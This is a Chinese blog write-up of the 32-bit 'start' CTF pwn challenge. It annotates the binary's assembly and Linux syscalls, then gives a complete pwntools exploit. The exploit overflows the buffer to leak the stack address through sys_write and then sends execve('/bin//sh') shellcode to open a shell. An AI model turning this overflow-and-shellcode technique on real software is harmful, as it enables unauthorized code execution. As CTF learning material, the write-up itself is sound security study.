美文网首页
1_start_32/需要与电脑沟通

1_start_32/需要与电脑沟通

作者: Zero_0_0 | 来源:发表于2019-04-28 11:42 被阅读0次
    一定要动态调试!!!

    发现了汇编的精妙之处(原来你的电脑之间沟通只差一个gdb
    注:我们gdb-pedachecksec可能会出错(开启了NX机制,谁让你往里面写shellcode啊) ,要用pwntools框架的checksec检测一下。

    start入口
    .text:08048060 _start          proc near
    .text:08048060                 push    esp
    .text:08048061                 push    offset _exit   //自己gdb调试得到这是 0804809D  函数结束的地方,我们调用一个总要回到跳出函数
    .text:08048066                 xor     eax, eax     //xor 进行异或处理将寄存器清空
    .text:08048068                 xor     ebx, ebx
    .text:0804806A                 xor     ecx, ecx
    .text:0804806C                 xor     edx, edx
    .text:0804806E                 push    3A465443h    //压入我们的字符串
    .text:08048073                 push    20656874h
    .text:08048078                 push    20747261h
    .text:0804807D                 push    74732073h
    .text:08048082                 push    2774654Ch
    .text:08048087                 mov     ecx, esp        ; write_addr    //
    .text:08048089                 mov     dl, 14h         ; len    //输入文本的长度
    .text:0804808B                 mov     bl, 1           ; fd     //文件表示符   1表示标准输出
    .text:0804808D                 mov     al, 4    //调用的是write
    .text:0804808F                 int     80h             ; LINUX - sys_write   //调用程序  int可以理解为我们的call指令
    .text:08048091                 xor     ebx, ebx
    .text:08048093                 mov     dl, 3Ch
    .text:08048095                 mov     al, 3   //调用read函数
    .text:08048097                 int     80h             ; LINUX - read   //我们补全为read
    .text:08048099                 add     esp, 14h   //将调回栈的开的地方 存储offset _exit的地方
    .text:0804809C                 retn
    .text:0804809C _start          endp ; sp-analysis failed
    
    结束exit
    .text:0804809D _exit           proc near               ; DATA XREF: _start+1�o
    .text:0804809D                 pop     esp
    .text:0804809E                 xor     eax, eax
    .text:080480A0                 inc     eax
    .text:080480A1                 int     80h             ; LINUX - sys_exit
    .text:080480A1 _exit           endp ; sp-analysis failed
    .text:080480A1
    .text:080480A1 _text           ends
    .text:080480A1
    .text:080480A1
    .text:080480A1                 end _start
    
    先了解 (linux syscall的资料在这里

    系统调用通过 int 80h 实现,执行时 eax中为调用的功能号,ebx、ecx、edx 等以此为参数。系统调用号写在/usr/include/asm/unistd.h

    #define __NR_exit                 1
    #define __NR_fork                 2
    #define __NR_read                 3
    #define __NR_write                4 
    #define __NR_open                 5
    
    
    又要做图理解了
    图片.png
    结束的时候

    注:有人问为什么'A'*20+write泄露的是esp的地址
    程序一开会就先将我们的esp入栈,然后再结束的时候,ret指令被我们改为了write的地址,write的作用的打印出来栈内的数据 payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)

    注:有人会问我为什么泄露出来了的是esp的位置(其实就是buf开始的栈的地址),那payload的时候'A'*20+esp_addr(不就行了嘛,为什么要加20呢)。我们在前面会发现存在(add esp ,0x14),他的作用就是:输入完,我们要栈清空(跳回我们原来开始输入数据的地方,)(其实+20是为了跳过add esp,0x14的检测)我们跳过他的检测,我们shellcode就可以随便写了,反正获得buf的地址,后面就随便写啦

    注:我们为什么不可以直接将我们的shellcode,利用ret返回地址,填写到一个我们可以执行的空间去呢,因为程序给我们的条件太少了,自己还没找到可以利用的可写的bss或者date段。

    shellcode
    EXP
    from pwn import *
    p = process('./start')
    
    
    #context.log_level = 'debug'
    #raw_input()
    shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
    shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
    shellcode += "\x0b\xcd\x80"
    #gdb.attach(p)
    write_addr = 0x08048087
    payload1 = 'A'*20 + p32(write_addr)
    p.send(payload1)
    #gdb.attach(p)
    
    p.recvuntil("Let's start the CTF:") 
    esp = u32(p.recv(4))
    #gdb.attach(p)
    print "[+]esp_addr:" + hex(esp)
    #gdb.attach(p)
    
    offset = 20
    payload2 = 'a'*20+ p32(esp+offset)  + shellcode  + 'a'*100  (栈的初始化地址暴露,我们就可以说获得栈的空间随便可以用了)(针对这道题而已)
    p.send(payload2)
    p.interactive()
    #p.close()  ##感觉没撒实际效果,我们只要交互就ok了
    

    相关文章

      网友评论

          本文标题:1_start_32/需要与电脑沟通

          本文链接:https://www.haomeiwen.com/subject/fvrlnqtx.html